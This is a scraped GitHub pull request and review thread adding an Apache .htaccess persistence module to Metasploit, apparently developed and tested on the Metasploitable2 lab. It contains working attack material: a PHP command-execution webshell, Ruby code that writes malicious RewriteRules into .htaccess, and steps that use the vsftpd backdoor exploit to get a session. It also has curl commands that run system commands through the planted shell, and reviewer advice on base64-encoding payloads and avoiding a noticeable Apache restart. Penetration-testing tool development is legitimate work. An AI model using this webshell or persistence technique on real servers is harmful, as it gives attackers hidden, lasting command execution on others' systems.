Add Apache .htaccess Persistence Module by 4ravind-b · Pull Request #21473 · rapid7/metasploit-framework

4ravind-b · 2026-05-17T16:44:05Z

This module adds Apache .htaccess persistence on a Linux target. It writes a malicious RewriteRule into an existing .htaccess file and drops a PHP webshell. Once deployed, an attacker can execute arbitrary commands via HTTP GET requests, even after the target reboots.

Fixes #17728

Verification

Start msfconsole.

Obtain a session on the target (Metasploitable2 used for testing):

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.112
set LHOST <your-ip>
run
background

Load and run the module:

use post/linux/manage/apache_htaccess_persistence
set SESSION 1
set HTACCESS_PATH /var/www/.htaccess
set SHELL_PATH /var/www/shell.php
set TRIGGER_URL /shell.php
run

Verify persistence deployment:

[+] mod_rewrite enabled and Apache restarted!
[+] Trigger written!
[+] Shell dropped!
[+] Persistence deployed!

Verify command execution:

curl "http://TARGET/shell.php?cmd=whoami"

Expected output:

www-data

Verify persistence survives reboot:

curl "http://TARGET/shell.php?cmd=id"

Expected output:

uid=33(www-data)

Verify the module does not run without a valid SESSION.

Screenshots

h00die · 2026-05-17T16:57:44Z

+    htaccess_payload = "\nRewriteEngine On\n"
+    htaccess_payload += "RewriteCond %{QUERY_STRING} trigger=shell\n"
+    htaccess_payload += "RewriteRule ^.*$ #{trigger_url} [L,R=302]\n"
+    append_file(htaccess_path, htaccess_payload)


Back the file up to loot before editing so we can restore it later

h00die · 2026-05-17T16:58:41Z

+
+class MetasploitModule < Msf::Post
+  include Msf::Post::File
+  include Msf::Post::Unix


I would convert this into a persistence module, see https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/persistence/vim_plugin.rb or https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/example_linux_persistence.rb as an example

h00die · 2026-05-17T16:59:01Z

+          Verified on Metasploitable2 (Ubuntu).
+        },
+        'License' => MSF_LICENSE,
+        'Author' => ['4ravind-b'],


give credit to wireghoul

h00die · 2026-05-17T16:59:38Z

+        ],
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [],


should be multi shell, no?

h00die · 2026-05-17T17:05:43Z

+    register_options([
+      OptString.new('HTACCESS_PATH', [true, 'Full path to .htaccess file', '/var/www/.htaccess']),
+      OptString.new('SHELL_PATH', [true, 'Full path to drop shell file', '/var/www/shell.php']),
+      OptString.new('TRIGGER_URL', [true, 'URL path to trigger shell', '/shell.php'])


The examples from wireghoul show putting the payload in the .htaccess file: https://github.com/wireghoul/htshells/blob/master/shell/mod_cgi.shell.bash.htaccess

I'd start with mod_cgi, its easiest although not common. In theory what we'd want in the future is something to detect if any mod_* are enabled (like mod_python, mod_perl and there rest of the mod items from wireghoul's repo) and then write the payload in a compliant way. So When coding in to check for things, make sure you do it in a loop or other expandable way.

If you use AI to help with this, and it doesn't get mad at you, give it wireghoul's repo in /shell/ and let it add all the different ones

h00die · 2026-05-17T17:09:06Z

+
+    # Step 3 - Enable mod_rewrite
+    print_status('Enabling mod_rewrite...')
+    cmd_exec('a2enmod rewrite && /etc/init.d/apache2 restart')


restarting apache will likely be noticed by many places. I'd make the restart a boolean option, default to to true (although i'm 50/50 on that, but web servers dont restart often)

h00die · 2026-05-17T17:09:39Z

+
+    # Step 4 - Write .htaccess trigger
+    print_status("Writing trigger to #{htaccess_path}")
+    htaccess_payload = "\nRewriteEngine On\n"


only add if its not already there

h00die · 2026-05-17T17:09:58Z

+    htaccess_payload += "RewriteCond %{QUERY_STRING} trigger=shell\n"
+    htaccess_payload += "RewriteRule ^.*$ #{trigger_url} [L,R=302]\n"
+    append_file(htaccess_path, htaccess_payload)
+    cmd_exec("chmod 644 #{htaccess_path}")


i think post has a chmod function already, use that

h00die · 2026-05-17T17:10:18Z

+    print_status("Dropping shell at #{shell_path}")
+    php_payload = '<?php if(isset($_GET[\'cmd\'])){ echo shell_exec($_GET[\'cmd\']); } ?>'


this can go away, embed the payload in .htaccess

h00die · 2026-05-17T17:10:35Z

+    # Step 6 - Done
+    print_good('Persistence deployed!')
+    print_status("Trigger with: curl 'http://TARGET/?trigger=shell'")
+    print_status("Run commands: curl 'http://TARGET#{trigger_url}?cmd=whoami'")


4ravind-b · 2026-05-17T17:15:49Z

Thanks for the detailed review @h00die and suggestions! I’ll work through the requested changes and update the PR

github-actions · 2026-05-18T04:09:07Z

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

4ravind-b · 2026-05-18T05:42:45Z

@h00die I've addressed the following review comments:

Embedded payload directly in .htaccess using wireghoul's exact mod_cgi approach
Removed shell.php entirely
Added backup to loot before editing
Check mod_cgi before enabling
Made Apache restart a boolean option (RESTART_APACHE)
Used fail_with instead of print_error
Check if payload already exists before writing
Added wireghoul to Author credits
Added EVENT_DEPENDENT to Reliability
Passes msftidy clean
Tested and working on Metasploitable2 (Apache 2.2.8, Ubuntu)

Currently implemented:

mod_cgi shell (tested and working)

Planned for follow-up:

mod_php (most common, high priority)
mod_perl
mod_python
mod_ruby
mod_include
Auto-detection of enabled mods to pick correct payload automatically

Still working on:

Documentation file
Converting to full persistence module structure

4ravind-b · 2026-05-18T05:58:09Z

@msutovsky-r7 and @h00die Documentation has been added at:
documentation/modules/post/linux/manage/apache_htaccess_persistence.md
Covers:

Vulnerable Application (requirements and tested environment)
Verification Steps
Options (HTACCESS_PATH, RESTART_APACHE, SESSION)
Scenarios (Metasploitable2 with mod_cgi)
Will update docs as more shell types are added.

msutovsky-r7 · 2026-05-18T08:28:00Z

@4ravind-b thanks for the changes, but it still doesn't seem like your module reflects the structure, function or location of persistence module. Take a look at structure of this - the persistence module should provide a "persistence" mechanism, meaning you'll receive a new shell from your persistence mechanism and then when you close that connection, restart the handler, re-trigger the persistence mechanism, you'll get a shell. Please make necessary changes. Furthermore, your module is in wrong folder - it still exists as post module, rather than persistence module, which is separate category in exploit/linux/ (in this case).

4ravind-b · 2026-05-18T08:33:53Z

@msutovsky-r7 Thanks for the clarification! I'll:

Move the module to modules/exploits/linux/persistence/
Convert to Msf::Exploit::Local with install_persistence method
Add payload handler so triggering .htaccess gives back a shell session

Will update the PR shortly.

4ravind-b · 2026-05-18T11:18:32Z

@msutovsky-r7 I've moved the module to modules/exploits/linux/persistence/ and converted it to Msf::Exploit::Local using install_persistence.

The module successfully deploys the .htaccess payload and starts a handler, but I'm running into issues with payload execution:

cmd/linux/http/x86/shell_reverse_tcp generates commands containing semicolons, which break when executed in the CGI context.
linux/x86/shell_reverse_tcp writes raw shellcode into .htaccess, which Apache cannot parse correctly.

The original wireghoul .htaccess CGI approach appears to expect simple bash command execution.

Would you recommend using a different payload type here, or should the module switch to another execution approach for obtaining a shell?

Current generated .htaccess payload structure:

#!/bin/sh
winning \

echo -en "Content-Type: text/plain\r\n\r\n"

4ravind-b · 2026-05-20T08:24:29Z

@msutovsky-r7 @h00die I've been working on the payload execution issue but still running into the same problem — CMD payloads generate semicolons which break in the CGI context.

While waiting for guidance on the payload approach, would it be okay if I start working on another module in parallel? Happy to come back to this as soon as you advise on the payload direction.

4ravind-b · 2026-05-20T08:32:22Z

Hi @h00die , @msutovsky-r7 , and @zeroSteiner — just a heads up: I’ll be unavailable starting this Saturday for about a week.

I’ll continue working on PR #21473 as soon as I’m back. Thanks for your patience!

h00die · 2026-05-20T10:09:15Z

general ideas to get around character issues:

Use metasploit's built in badchars:

          'BadChars' => "\x00\x0a\x0d",
        },

Use encoding like base64 on the payload, then have the .htaccess file base64 decode it right into a shell.

4ravind-b · 2026-05-20T11:11:22Z

@h00die Thanks for the suggestions! I'll implement the base64 approach — encode the payload and have .htaccess decode and execute it. Will update the PR when I'm back next week.

4ravind-b · 2026-05-20T16:28:34Z

@h00die I've tested on both Apache 2.2.8 (Metasploitable2) and Apache 2.4.67 (local). Unfortunately, both suggestions still fail in the CGI context.

The #winning \ line continuation trick doesn't prevent Apache from treating echo as an invalid directive on either version.
The base64 approach also fails — Apache still parses echo as an Apache directive before CGI execution happens.

Tested structure:

#!/bin/sh
# winning \
echo -en "Content-Type: text/plain\r\n\r\n"
echo hello
Options +ExecCGI
AddHandler cgi-script .htaccess

Error log on both versions:

Invalid command 'echo'

Could you share the exact working example or Apache configuration needed for this trick to work?

h00die · 2026-05-20T16:41:27Z

best i can do is point you to the source repo. try their work and modify from there. While I tried this a little, it was YEARS ago

4ravind-b · 2026-05-20T17:17:47Z

@h00die still wrapping my head around exactly how Apache handles the CGI execution order here — the more I dig into it the more interesting (and confusing) it gets! Will go through the wireghoul examples and come up with something concrete. Also is the wireghoul repo the only reference for this? Asking because I'm currently preparing for CEH and planning toward OSCP, so any resources you'd recommend would really help!

4ravind-b · 2026-05-21T14:55:49Z

@h00die @msutovsky-r7 Update — got it working using wireghoul's exact original structure!

What was fixed:

Used wireghoul's exact .htaccess format with all shell commands on a single line separated by semicolons
Apache directives (, Options +ExecCGI, AddHandler) included at the bottom
Module backs up original .htaccess to loot before writing

Verified working on Apache 2.2.8 (Metasploitable2) after manually configuring Apache with:

a2enmod cgi
Options +ExecCGI and AllowOverride All in /var/www/ directory

Command execution via URL: curl "http://TARGET/.htaccess?whoami" → returns www-data
Persistence survives reboot

Note: This module works on Apache servers already configured for .htaccess CGI execution.
The target Apache must have mod_cgi enabled and AllowOverride configured appropriately.

Still pending:

Converting from command execution webshell to proper reverse shell session as requested by @msutovsky-r7
Will work on that next week after my break

h00die · 2026-05-21T15:00:10Z

good progress! that should help you now work out how to get an arbitrary payload working

no need to include screenshots, usually just your msf console is good

4ravind-b · 2026-05-21T16:20:38Z

@h00die Thanks! I'll work on integrating arbitrary payload support.

msutovsky-r7 · 2026-05-21T15:02:49Z

I think this is leftover file

msutovsky-r7 · 2026-05-21T15:03:55Z

+    mod_check = cmd_exec('apache2ctl -M 2>/dev/null || httpd -M 2>/dev/null')
+    unless mod_check.include?('cgi')
+      print_status('Enabling mod_cgi...')
+      cmd_exec('a2enmod cgi')


Use create_process as cmd_exec should be depreciated

msutovsky-r7 · 2026-05-21T15:05:04Z

+  def exploit
+    install_persistence
+  end


The install_persistence is called automatically when the module is persistence module

4ravind-b added 2 commits May 17, 2026 21:44

Add Apache htaccess persistence module, closes rapid7#17728

3127af6

Fix msftidy issues

fb78566

smcintyre-r7 added this to Metasploit Kanban May 17, 2026

github-project-automation Bot moved this to Todo in Metasploit Kanban May 17, 2026

4ravind-b mentioned this pull request May 17, 2026

Apache htaccess Persistence #17728

Open

h00die suggested changes May 17, 2026

View reviewed changes

github-project-automation Bot moved this from Todo to Waiting on Contributor in Metasploit Kanban May 17, 2026

msutovsky-r7 added module needs-docs labels May 18, 2026

refactor: address h00die review comments - embed mod_cgi payload

7402d33

docs: add documentation for apache_htaccess_persistence module

a57215c

msutovsky-r7 added docs and removed needs-docs labels May 18, 2026

fix: move to persistence module structure, fix payload execution

dc724b0

msutovsky-r7 self-assigned this May 18, 2026

fix: working mod_cgi persistence using wireghoul exact structure

506324a

msutovsky-r7 reviewed May 28, 2026

View reviewed changes

		print_status("Dropping shell at #{shell_path}")
		php_payload = '<?php if(isset($_GET[\'cmd\'])){ echo shell_exec($_GET[\'cmd\']); } ?>'

Conversation

4ravind-b commented May 17, 2026

Verification

Screenshots

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

4ravind-b commented May 17, 2026

Uh oh!

github-actions Bot commented May 18, 2026

Uh oh!

4ravind-b commented May 18, 2026

Uh oh!

4ravind-b commented May 18, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

msutovsky-r7 commented May 18, 2026

Uh oh!

4ravind-b commented May 18, 2026

Uh oh!

4ravind-b commented May 18, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

4ravind-b commented May 20, 2026

Uh oh!

4ravind-b commented May 20, 2026

Uh oh!

h00die commented May 20, 2026

Uh oh!

4ravind-b commented May 20, 2026

Uh oh!

4ravind-b commented May 20, 2026

Uh oh!

h00die commented May 20, 2026

Uh oh!

4ravind-b commented May 20, 2026

Uh oh!

4ravind-b commented May 21, 2026

Uh oh!

h00die commented May 21, 2026

Uh oh!

4ravind-b commented May 21, 2026

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

4 participants

4ravind-b commented May 18, 2026 •

edited

Loading

4ravind-b commented May 18, 2026 •

edited

Loading